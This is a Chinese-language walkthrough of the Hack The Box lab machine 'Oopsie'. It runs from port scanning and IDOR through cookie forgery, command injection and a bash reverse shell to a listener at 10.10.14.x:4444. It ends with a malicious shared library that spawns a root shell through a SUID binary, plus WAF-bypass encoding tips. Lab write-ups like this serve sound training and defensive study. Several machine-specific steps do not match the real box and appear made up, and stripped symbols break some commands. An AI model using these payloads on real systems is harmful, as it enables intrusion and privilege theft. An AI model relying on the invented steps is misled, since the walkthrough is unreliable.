资讯详情

资讯详情

HTB靶机Oopsie完整渗透实战:IDOR越权到SUID提权

1. 靶机初探从零开始的渗透踩坑实录做渗透测试这一行光有理论远远不够真正考验人的是实战中那些层出不穷的意外和细节。今天拿“Hack The Box”平台上的一台入门级Linux靶机来完整走一遍流程这台机器在很多圈内人看来属于“新手村”级别的存在但恰恰是这类机器最能检验基本功扎不扎实。整台机器的攻击链涉及信息泄露、不安全的直接对象引用IDOR、会话伪造以及Linux环境下的SUID提权每一个环节单独拎出来都不算难串联起来却能把从信息收集到权限维持的完整思路练一遍。这台机器的名字叫Oopsie属于HTB平台里典型的“提权链完整但难度不高”的类型适合刚从理论学习转向实战训练的人也适合想在短时间内快速复盘渗透标准流程的从业者。机器本身是Linux环境靶机IP段是10.10.x.x这类内网测试网段攻击机使用Kali Linux或者在虚拟机里装一个Kali都行关键在于思路要清晰先摸清攻击面再找入口拿到普通用户权限后寻找提权点最后拿到root权限。整个过程用到的工具也都是常见的Nmap、Gobuster、Burp Suite、Netcat这类没有花里胡哨的0day全部是真实企业环境里反复出现的经典漏洞组合。开始之前先说个题外话很多人一上来就喜欢拿各种自动化工具往目标上猛扫恨不得一个脚本打穿一切这种做法在CTF靶机里偶尔能碰巧成功但在真实渗透测试里极容易触发告警而且会漏掉很多需要人工分析的细节。正确的节奏应该是“手工优先、工具辅助”每一步都要知道自己在测什么、为什么这么测、结果说明什么。带着这种思路去打这台机器能学到的东西比单纯跑几个脚本拿个flag要多得多。2. 信息收集端口扫描与目录枚举的细节把控2.1 全端口扫描的必要性与方法信息收集是整个渗透测试的地基地基打不牢后面全白搭。针对Oopsie靶机第一步是Nmap全端口扫描。很多人习惯只扫常见端口比如只扫80、443、22这种这种习惯在实战中会漏掉大量防线薄弱的服务。正确做法是先做一次全端口TCP扫描把目标机器上所有开放的端口都找出来再对开放端口做服务版本识别。我当时的扫描命令是这样的nmap -sS -p- -T4 --min-rate 5000 -oN full_port_scan.txt 10.10.10.28这里的几个参数值得新手留意-sS是SYN半开扫描速度快且相对隐蔽-p-扫描全部65535个端口-T4和--min-rate 5000是提速参数内网靶机环境无所谓速率限制但真实环境里建议把速率降下来避免把目标打挂或者触发防护设备。扫描结果出来后看到三个端口22端口是SSH服务80端口是HTTP服务还有一个1201端口暂时不知道是什么服务。后续的服务版本探测命令nmap -sV -sC -p 22,80,1201 -oN service_scan.txt 10.10.10.28服务识别结果显示1201端口跑的是某种自定义服务用浏览器直接访问没有响应用curl请求也拿不到正常的HTTP报文。这种情况下不用纠结先放一放多半是后面某个环节才会用到的辅助通道。重点先看80端口这个Web服务。2.2 主页分析的几个关键观察点打开浏览器访问80端口页面上是一个看起来很普通的品牌Portal页面有登录框还有几个看起来像是内容展示的栏目。这类页面在真实渗透里很常见前台页面往往不会直接暴露敏感信息真正的攻击面藏在后台路径、接口参数和源码注释里。先按老规矩来一遍基础检查查看页面源码、查看响应头、查看Cookie机制。源码里能看到页面是用PHP写的响应头里有几个值得注意的点一是X-Powered-By头暴露了PHP版本信息二是没有看到明显的WAF痕迹三是Cookie采用的是普通的会话标识而非HttpOnly属性防护完善的机制。这些信息单看都不算什么高危漏洞但在后续的IDOR利用和会话伪造环节里这些“小细节”会成为整条攻击链的关键跳板。目录枚举同样是信息收集阶段的重头戏。用Gobuster配合常见的字典跑一遍Web目录和文件gobuster dir -u http://10.10.10.28 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,bak -t 50跑完以后看到几个有意思的路径其中/cdn-cgi/login/这个路径特别惹眼。按常规经验这种以cdn-cgi开头的路径一般是某个服务预留的登录入口而且往往和前台登录走的是不同的认证逻辑。顺着这个路径继续探测发现它指向一个后台登录页面登录框后面接的验证逻辑是重点研究对象。2.3 从源码注释和响应差异中提取线索后台登录页面的源码里有一行不起眼的注释大意是某个调试用的账号被注释掉了只留下一个用户名的提示。这类注释在开发环境里很常见程序员为了方便调试会把测试账号留在代码里上线时漏删就成了渗透测试里最经典的入口之一。同时注意到前台页面和后台页面对于同一个请求的响应状态码有微妙差异。前台页面访问不存在的路径时返回的404页面是标准PHP错误页后台路径却会在某些特定参数下返回302跳转。这种响应差异说明后台可能存在独立的权限校验逻辑而且校验不通过时的处理方式不是拒绝访问而是跳转这种“软失败”的设计往往会泄露额外的信息。我在实际测试中养成了一个习惯把每次请求的完整响应报文都保存下来包括响应头、响应体、状态码不放过任何细微差别。很多时候漏洞的入口就藏在两个页面响应的三五行差异里这种差异靠眼睛扫一遍不一定能发现但用对比工具一拉就非常明显。3. 漏洞利用IDOR越权拿到后台会话凭证3.1 什么是IDOR以及为什么它如此危险IDOR全称是Insecure Direct Object Reference中文一般叫“不安全的直接对象引用”属于访问控制缺陷大类下的典型问题。用大白话解释网站把某个资源比如用户资料、订单记录、后台消息直接通过一个ID号来访问比如/user/profile?id10086而服务器端不对访问者的权限做校验那么把ID改成10087、10088就能看到别人的数据。IDOR之所以被OWASP列为高危漏洞类型是因为它不需要复杂的技术栈就能触发只需要一个合格的“改包”习惯。很多开发人员会默认“用户不可能去手动改URL里的数字”于是把权限校验的环节省掉了这种信任关系在安全测试里是最脆弱的。3.2 登录后的权限验证与URL参数篡改既然后台登录页面上有提示用户名的信息先试着用一些弱口令组合登录。试了几组比较常见的弱密码其中一组账号密码居然真的通过了认证顺利进入后台。这里有一个非常重要的测试原则绕过登录只是第一步权限校验是否完善才是后续的关键。登录进入后台以后页面上能看到几个功能模块其中一个模块是消息中心点击进去以后URL长这样http://10.10.10.28/portal/msg?id1习惯性地把id1改成id2刷新页面上出现了另一个人的消息内容。再把id3、id4逐个试过去发现只要不超出某个边界值任意ID对应的消息都能直接读取没有做任何归属校验。到这里已经确认存在明显的IDOR漏洞但仅读取站内信还不够继续深挖后台功能找到一个更关键的接口账号详情页。3.3 从消息ID到账号详情的越权链账号详情页的URL结构是/portal/user?idXXX把之前在消息中心里发现的有效ID套用过来直接能看到目标用户的完整信息包括用户名、邮箱、电话号码以及一个看起来像是内部工号或加密标识的字段。这个字段非常关键后面会用到。在真实渗透里IDOR越权读取往往只是第一步更危险的是结合账号详情里的敏感字段去构造会话伪造或者撞其他系统。比如这里拿到的工号信息很可能就是某个内部API的查询凭据或者是SSH服务的初始密码片段。按照“拿到什么信息都要记下来、都要尝试关联”的原则把所有敏感字段复制保存继续测试后台是否存在文件上传点、命令执行点等更高价值的攻击面。访问控制缺陷在CVSS评分里往往只有中等偏高的分数但在实战中它的危害被严重低估。一个看似只能“看到别人消息”的IDOR配合信息拼凑往往能演变成完整账号接管。这里观察到后台的会话Cookie在ID改变时不会同步失效说明会话校验和业务逻辑校验是分离的这种架构割裂正是IDOR产生的温床。3.4 实测中关于越权测试的三个心得第一越权测试不能只试正整数ID还要试试负数、零、超长数字、字符串类型很多开发人员的参数校验只写了数字类型判断对于负数没有额外过滤结果负数ID对应的是管理员账号或者默认账号。第二IDOR不一定只存在于GET请求的URL参数里POST请求体、JSON字段、甚至响应头里的参数都可能存在对象引用测试时要把Burp Suite的拦截改包功能用起来。第三不要只关注“读取”型接口增删改类接口如果存在越权危害直接翻倍比如任意ID删除订单、任意ID修改密码。4. 权限获取从后台走向Shell4.1 收集到的敏感信息能干什么越权拿到的那串账号信息里有一行看起来像是加密过的密钥字符串。分析下来很可能是一段生成会话Token的种子数据。很多开发者图方便直接用用户ID加上固定密钥拼接成会话标识如果拼接规则被猜出来整个认证体系相当于形同虚设。尝试把某个已知ID和收集到的字符串做组合运算然后用已知的Cookie生成规则构造一个管理员会话。这里涉及到一个重要的测试手段Cookie伪造和会话固定攻击。先用测试账号登录观察正常登录后Cookie里各个字段的变化规律再尝试把其中的用户标识字段替换成管理员ID看服务器是否认账。事实证明这台机器上的会话校验过于简单替换之后直接获得了管理员权限。4.2 前台后台的系统命令执行入口进入管理员后台以后界面比普通用户多了几个管理模块其中一个模块的功能说明是“检查系统状态”猜测可能是通过执行系统命令收集服务器信息的功能。这类功能在开发时最容易出现命令注入漏洞开发者会把用户输入的参数直接拼进系统命令里执行。尝试在该模块的输入框里填入一个正常的IP地址或者主机名后台返回了ping的结果。接着按命令注入的经典套路在参数后面拼接分号和Linux命令比如127.0.0.1; whoami观察返回结果。运气不错命令执行成功返回了当前Web服务运行用户的身份信息。这是从“Web应用层”到“系统层”的关键一步意味着先前的所有Web漏洞都只是铺垫真正的系统权限现在触手可及。4.3 反弹Shell的构造与连接细节拿到命令执行后下一步是构造一个交互式Shell。这里有两条路可以选一是直接在命令执行点一条条敲命令效率极低且每次都有请求延迟二是反弹Shell到自己的攻击机上获得一个完整的终端环境。后者是标准做法。攻击机上先用Netcat监听一个端口nc -lvnp 4444然后在命令执行点输入反弹Shell的载荷。需要注意bash的反弹命令里特殊字符很多直接提交可能会被过滤或者被URL编码破坏需要做一层Base64编码绕过。构造结果类似这样echo -n bash -i /dev/tcp/10.10.14.x/4444 01 | base64再把Base64后的字符串交给bash -c执行。这样就能绕过大多数简单的特殊字符过滤规则。整套载荷提交后Netcat终端里出现了目标机器的Shell提示符反弹成功。拿到Shell先不管别的第一时间执行id确认当前用户身份执行ip a确认识别的网络环境为后续提权做准备。4.4 交互式Shell的稳定性优化直接反弹回来的Shell往往不太稳定在终端里用起来很别扭因为缺少完整的TTY环境不支持方向键、Tab补全和各种交互命令。建议先升级成完全交互式ShellPython一行命令搞定python3 -c import pty;pty.spawn(/bin/bash)然后在攻击机的Netcat终端里按CtrlZ把当前进程放到后台依次执行stty raw -echo和fg最后再export TERMxterm就可以得到一个支持历史命令、Tab补全的完整体验TTY了。这个步骤在实战中非常重要尤其是后续要看日志、编辑提权脚本的时候没有交互式Shell操作起来痛不欲生。5. 提权之路SUID误配置的利用艺术5.1 常规提权检查清单的执行顺序拿到普通用户权限后需要系统性地检查目标机器上的提权点。经验老到的渗透测试工程师通常按固定顺序排查第一看内核版本有没有已知漏洞第二看当前用户有没有sudo权限的配置第三看有没有以root权限运行的计划任务第四就是检查SUID/SGID位文件。这台机器前面的方向要么没戏要么配置得太干净真正的突破口出在SUID文件上。SUID全称是Set User ID是Linux文件系统权限模型中的特殊权限位。一个文件如果设置了SUID位那么无论谁来执行这个文件运行时的有效用户ID都会被强制切换为文件属主。比如/usr/bin/passwd就是典型的SUID文件普通用户执行它时以root权限去改密码这是系统设计的有意为之。但如果是某个可被自定义配置的应用也设置了SUID位那它就成了提权入口。枚举SUID文件的标准命令find / -perm -4000 -type f 2/dev/null命令本身不难理解-perm -4000匹配SUID权限位-type f限定为普通文件2/dev/null把权限不足产生的报错丢进黑洞只保留能有权限看到的文件路径。5.2 从输出中识别可利用的异常项一般情况下SUID文件列表里会有/usr/bin/passwd、/usr/bin/su、/usr/bin/sudo这些系统标准程序这些都是正常现象不用管。真正要留意的是不在系统默认清单里的“非标准”SUID文件特别是位于/usr/local/bin、/opt、/home这些目录下的程序以及后缀名可疑的脚本类文件。这台机器上就有一个位于/usr/local/bin目录下的可执行文件名字和数据库维护相关查一下文件属性发现属主是root且设置了SUID位。这个文件本身不是标准系统程序说明是管理员后来安装的。这种“自定义程序SUID特权”的组合基本就是给渗透测试者递刀。通过读取这个可执行文件关联的配置或日志发现它运行时会动态加载某个库文件而库文件的路径是在一个配置项里指定的。这种设计在真实环境里其实很常见程序为了灵活性把依赖库的路径做成可配置项。问题在于如果配置文件是普通用户可写的那么就可以把配置里的库路径指向我们自己写的恶意库文件让这个SUID程序以root身份加载我们的代码。5.3 劫持库路径实现提权的完整过程在Linux下程序的动态链接库搜索顺序里有一个环境变量LD_PRELOAD可以强制预加载指定库但现代Linux系统对LD_PRELOAD在SUID场景下做了安全限制不会直接从环境变量里加载用户指定的库。直接硬拼LD_PRELOAD走不通就得换一条思路——既然程序是从配置文件指定的路径加载库那就把配置文件里的路径改成自己可控的目录再在那放一个写好的恶意库。写一个简单的C程序作为恶意库在库被加载时直接启动一个Shell#include stdio.h #include stdlib.h #include sys/types.h #include unistd.h __attribute__((constructor)) void init() { setuid(0); setgid(0); execl(/bin/bash, bash, NULL); }这里的__attribute__((constructor))是GCC的构造函数特性意思是库被加载时自动执行这个函数不需要任何显式调用。编译成动态库gcc -shared -fPIC -o evil.so evil.c然后把编译好的evil.so放到配置指定的路径下。接下来只需要执行那个带SUID位的程序程序以root身份启动加载了我们的恶意库自动执行Shell最终获得root权限。执行过程中提示信息和预期一致直接落到了root的Shell里确认id输出了uid0。5.4 SUID提权的防御视角解读站在攻击者的角度拿下了root再切换到防守者的视角复盘这个提权链路会发现几个致命的配置失误。第一一个需要动态加载外部库的程序不该被设置SUID位如果确实需要特权正确的做法是把需要特权的操作拆分成独立服务用权限更小的专用用户运行。第二程序的配置文件权限过于宽松允许普通用户修改关键配置项这属于典型的“权限未收敛”。第三系统里缺少对文件完整性监控的机制自己往目录里放了一颗恶意的so文件没有任何报警这放在等保合规的环境里是要被审计人员重点提问的。真实企业环境里SUID提权同样高发很多遗留系统的运维人员为了方便给一些自定义运维脚本顺手加了SUID位几年下来早就忘了哪些文件动过权限成了内网横向移动的高价值跳板。建议用下面的命令定期审计全系统的SUID文件把每次的清单保存下来做比对find / -perm -4000 -type f 2/dev/null | sort suid_audit_$(date %Y%m%d).txt配合文件哈希入库做差异分析出现新增SUID文件立刻告警这才是在运维侧能落地的防御手段。6. 常见问题与排查技巧实录6.1 目录扫描结果空洞无物时怎么继续信息收集阶段如果Gobuster什么都没扫出来先别急着换大字典。第一步检查字典本身的质量是否包含常见备份文件名和后缀第二步看看目标Web服务是否对扫描工具约定好的User-Agent做了拦截换一个浏览器UA再扫第三步确认目标是否存在虚拟主机目录结构很多时候真正的应用挂在某个子路径下根路径只是静态页面。6.2 IDOR越权测试请求被WAF拦截在带WAF的真实站点上连续的参数遍历请求很容易触发频率限制导致IP被临时封禁。建议降低遍历频率每次请求之间加延时或者把请求分布到多个时间段做。还可以利用WAF对参数类型校验的盲区把ID值写成十六进制、URL编码、双重编码等形式绕过的同时仍然指向同一个资源。6.3 反弹Shell总是秒断或者没有回连反弹Shell失败大概率是网络连通性问题先确认攻击机IP地址是否可达目标机器能不能路由到攻击机所在网段。其次确认防火墙是否拦截了指定端口Netcat监听端口要选用大于1024的高位端口。最后检查反弹载荷本身目标机器上可能没有bash或者/dev/tcp不可用这时换成Python的反弹方式或者Perl的反弹方式提高成功率。6.4 SUID提权中C库编译版本不匹配编译恶意动态库时如果目标机器的GCC版本和攻击机不一致加载时可能报ERROR或者段错误。解决方案是在目标机器上直接编译把C源码上传过去后用目标机器自带的GCC编译保证ABI完全匹配。如果目标机器没有任何编译器再考虑用静态编译或者在本地用兼容参数编译回来。6.5 关键日志清理的尺度与风险拿到root之后很多新手第一件事是想着清理日志这在实际渗透测试项目里其实要非常克制。一方面日志是溯源的重要依据擅自修改或者删除反而会留下更大的痕迹另一方面合规项目测试结束后需要保留原始日志交给客户复盘。除非明确授权需要“痕迹清除”模拟演练否则建议只清理自己上传的可疑文件不改日志。7. 靶机之外的现实思考整个Oopsie这台机器打下来技术栈并不复杂从Web层的IDOR越权到系统层的SUID提权都是入门教材里的经典内容但把它还原到真实业务场景里每一项配置失误都有对应的现实原型开发注释里遗留的测试账号、后台功能未做越权校验、管理员给自定义程序加了SUID位、配置文件权限放开到普通用户可写。这四层防线只要有任何一层被守住攻击路径就断了。我在实际项目中见过不少比这台靶机“更好打”的系统问题往往不在技术难度而在安全意识和流程管控。很多系统上线时安全测试做得很仔细运行三五年后随着人员更迭、配置变更、补丁遗漏安全水位慢慢降下来最后被攻破的往往不是最前沿的漏洞而是最基础的配置错误。最后分享一个实用习惯每次打完一台靶机或者做完一个项目把整个攻击路径整理成一份简单的攻击链文档标注每个环节用到的技术点、触发条件、修复建议。时间久了这份文档就是你自己最值钱的实战手册。所谓渗透能力本质上不是会多少个工具而是对“数据如何流动、信任如何建立、权限如何落地”这套底层逻辑的深刻理解。Oopsie这台机器作为练手对象恰恰把这套逻辑完整地演示了一遍。
觉得有用,分享给同行:

为您的企业打造数字门面

稳重轻奢商务风格,端正雅致视觉,长效耐看不易过时。

立即咨询 →